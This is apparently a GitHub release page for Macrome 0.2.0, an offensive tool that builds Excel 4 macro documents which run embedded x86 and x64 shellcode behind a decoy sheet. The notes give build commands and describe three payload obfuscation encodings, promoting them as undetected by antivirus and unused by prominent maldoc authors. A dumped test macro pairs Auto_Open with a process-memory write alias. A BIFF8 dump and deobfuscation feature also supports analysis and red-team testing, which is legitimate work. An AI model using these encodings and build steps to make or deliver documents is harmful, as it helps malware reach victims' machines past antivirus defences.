Skip to content
Compare
Choose a tag to compare

Macrome 0.2.0

@michaelweber michaelweber released this
· 40 commits to master since this release
Compare
Choose a tag to compare

Enhanced Macro Building - EXCELntDonut Supported!

When building from an Excel macro instead of a binary payload Macrome has been enhanced in several ways:

  1. Imported macros can have multiple columns, just separate each column entry in a row by the ; character.
  2. Macros that rely on SELECT are automatically refactored to use variables so the Macro can run in the background of a decoy sheet.
  3. Macros with large =CHAR()&CHAR()&CHAR() blocks will automatically be converted during the document build process to prevent a 500kb macro from turning into a 30MB xls document.
  4. The above changes mean that Macrome works with the output from EXCELntDonut (https://github.com/FortyNorthSecurity/EXCELntDonut). Try importing an EXCELntDonut Macro using the following syntax:
dotnet Macrome.dll build --decoy-document decoy-document.xls --payload-type Macro --payload excelntdonut.txt --output-file-name excelntdonut.xls

New Payload Encoding Methods

These will be detailed in an upcoming blog post, but Macrome can now encode macro payloads in three different ways. Most of these are still undetected by any AV - but experiment with your payloads to see what works best.

  1. CharSubroutine - Replaces the use of repeated CHAR() functions by creating a subroutine at a random cell, and then invoking it by using a long chain of IF and SET.NAME functions. This is something that hasn't been abused by prominent maldoc authors yet, so it's unlikely to ping on AV for now.
  2. ObfuscatedCharFunc - The original Macrome encoding function. Invoke CHAR() but append it to a random empty cell and wrap the value in a ROUND function.
  3. ObfuscatedCharFuncAlt - A slight variation on the original encoding, instead of using a PtgFunc to invoke CHAR, we use a PtgFuncVar - this breaks most signatures that try to count CHAR invocations.

Specify an encoding by using the method flag when building - for example, to use the CharSubroutine encoder:

dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

64-bit Payload Support

EXCELntDonut's awesome multi-architecture Macro has been adapted for Macrome - now you can provide an x86 and x64 payload and both will be baked into the generated document depending on what architecture the machine has been run on. NOTE: The 64-bit functionality is fairly experimental right now - make sure you test payloads on a 64-bit system after generating the document. It does appear that sometimes Excel will crash AFTER the payload has been executed, but the payload will run. If payloads aren't running please open an issue and share the document you generated along with what version of Excel you're trying to work with.

64-bit payloads can be included by using the payload64-bit flag. They currently still require an x86 payload as well, but if there's enough demand there can be 64-bit only document generation included in a future release. An example build looks like:

dotnet Macrome.dll b --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin --output-file-name 64bit_popcalc_macro.xls

Macro Sheet Dumping Functionality

Now, in addition to undoing some minor anti-analysis measures with the deobfuscate command, Macrome can dump the most relevant BIFF8 records for arbitrary documents. This functionality is similar to olevba's macro dumping functionality, but it has some more complete processing of edge-case Ptg entries to help make sure that the format is as close to Excel's actual FORMULA entries as possible. This is what I've been using to debug some of the weird edge case documents I've been generating while making this tool, so it's comparably robust. I'm sure there's tons of edge cases that are not supported right now though, so if you find a document that it doesn't properly dump the content of, please open an issue and share the document as a zip file.

By default the dumping functionality will only output records commonly needed by maldoc authors - BoundSheet8, Formula, and Lbl are the primary records that contain the majority of information in a standard Excel 4 Macro document - though the output will also contain some supporting entries like SupBook and ExternSheet. For example, here's an example invocation and output for one of the weirder test documents I've made:

dotnet Macrome.dll dump --path UnitTests\TestDocs\macro-loop.xls
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Macrosheet | HiddenState: Visible | Name [unicode=False]: Macro1
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet1
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet2
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet3
BIFF RecordType: SupBook - Length: 4
BIFF RecordType: ExternSheet - Length: 8
Lbl (0x13 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: arg1
Lbl (0x13 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: arg2
Lbl (0x15 bytes) - flags: 0x20 | fBuiltin: True | fHidden: False | Name [unicode=False]: Auto_Open !AUTO_OPEN! | Formula: Subroutine
Lbl (0x1D bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: curCell | Formula: Macro1!C14
Lbl (0x20 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: invokeChar | Formula: Macro1!A11
Lbl (0x23 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: InvokeFormula | Formula: Macro1!A12
Lbl (0x24 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: stringToBuild | Formula: "ABCDE"
Lbl (0x20 bytes) - flags: 0x4A | fBuiltin: False | fHidden: False | Name [unicode=False]: Subroutine | Formula: Macro1!D8
Lbl (0x19 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: var | Formula: Macro1!C13
Lbl (0x24 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: WProcessMemory | Formula: Macro1!A13
Formula[B1]: invokeChar=A11
Formula[B2]: var=999
Formula[B3]: IF(SET.NAME("var",65),invokeChar(), )
Formula[B4]: ALERT(B3,2)
Formula[B5]: InvokeFormula("=HALT()",A1)
Formula[B6]: WProcessMemory(-1,B2+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
Formula[B7]: HALT()
Formula[D8]: stringToBuild=""
Formula[D9]: invokeChar=A11
Formula[D10]: curCell=C9
Formula[A11]: RETURN(CHAR(var))
Formula[D11]: WHILE(curCell<>"END")
Formula[A12]: RETURN(FORMULA(arg1,arg2))
Formula[D12]: var=curCell
Formula[A13]: RETURN()
Formula[D13]: stringToBuild=stringToBuild&invokeChar()
Formula[D14]: curCell=ABSREF("R[1]C",curCell)
Formula[D15]: NEXT()
Formula[D16]: ALERT(stringToBuild,2)
Formula[D17]: RETURN(stringToBuild)

Macrome will process the rgce component of each entry to help identify which cells are associated with each Lbl entry. It will also call out which entries will run on open by flagging them with an !AUTO_OPEN! string. Note how this example the Auto_Open tag points to a separate Lbl (Subroutine), which then points to a start cell.

The Dump mode also will automatically translate some Excel shorthand for subroutine invocation and variable assignment. I'll talk about this more in a future blog post, but note how the invokeChar label is used like a function in B3 and how it is assigned a cell in D9. Appending a () to a name in Excel is identical to invoking the RUN macro on it. If you have a cell that looks like varName=value instead of the more traditional =CHAR()... field this is an alias for invoking the SET.NAME macro functionality. Macrome will automatically translate this before displaying.

By adding the dump-hex-bytes flag, each displayed BIFF8 record will be accompanied by a hex dump of its content. Note that the BIFF8 header (containing the record type and length) are not included - the dump only displays the "meat" of the entry. For example:

dotnet Macrome.dll dump --path UnitTests\TestDocs\macro-loop.xls --dump-hex-bytes
dotnet Macrome.dll dump --path ..\..\..\UnitTests\TestDocs\macro-loop.xls --dump-hex-bytes
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Macrosheet | HiddenState: Visible | Name [unicode=False]: Macro1
00000000   AC 2F 00 00 00 01 06 00  4D 61 63 72 6F 31         ¬/······Macro1
...SNIP...
Lbl (0x15 bytes) - flags: 0x20 | fBuiltin: True | fHidden: False | Name [unicode=False]: Auto_Open !AUTO_OPEN! | Formula: Subroutine
00000000   20 00 00 01 05 00 00 00  00 00 00 00 00 00 00 01    ···············
00000010   23 08 00 00 00                                     #····
...SNIP...
Formula[B6]: WProcessMemory(-1,B2+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
00000000   05 00 01 00 0F 00 01 00  00 00 00 00 FF FF 20 00   ············ÿÿ ·
00000010   00 00 01 FF 2E 00 23 0A  00 00 00 1F 00 00 00 00   ···ÿ.·#·········
00000020   00 00 F0 BF 44 01 00 01  C0 44 00 00 03 C0 1E FF   ··d¿D···AD···A·ÿ
00000030   00 05 15 03 21 5E 00 41  5E 00 41 20 00 1E 00 00   ····!^·A^·A ····
00000040   42 06 FF 00                                        B·ÿ·
...SNIP...
Formula[D14]: curCell=ABSREF("R[1]C",curCell)
00000000   0D 00 03 00 0F 00 01 00  01 00 0C 00 FF FF 00 00   ············ÿÿ··
00000010   0E 00 03 FF 22 00 19 20  00 00 17 07 00 63 75 72   ···ÿ"·· ·····cur
00000020   43 65 6C 6C 17 05 00 52  5B 31 5D 43 23 04 00 00   Cell···R[1]C#···
00000030   00 21 4F 00 42 02 58 00                            ·!O·B·X·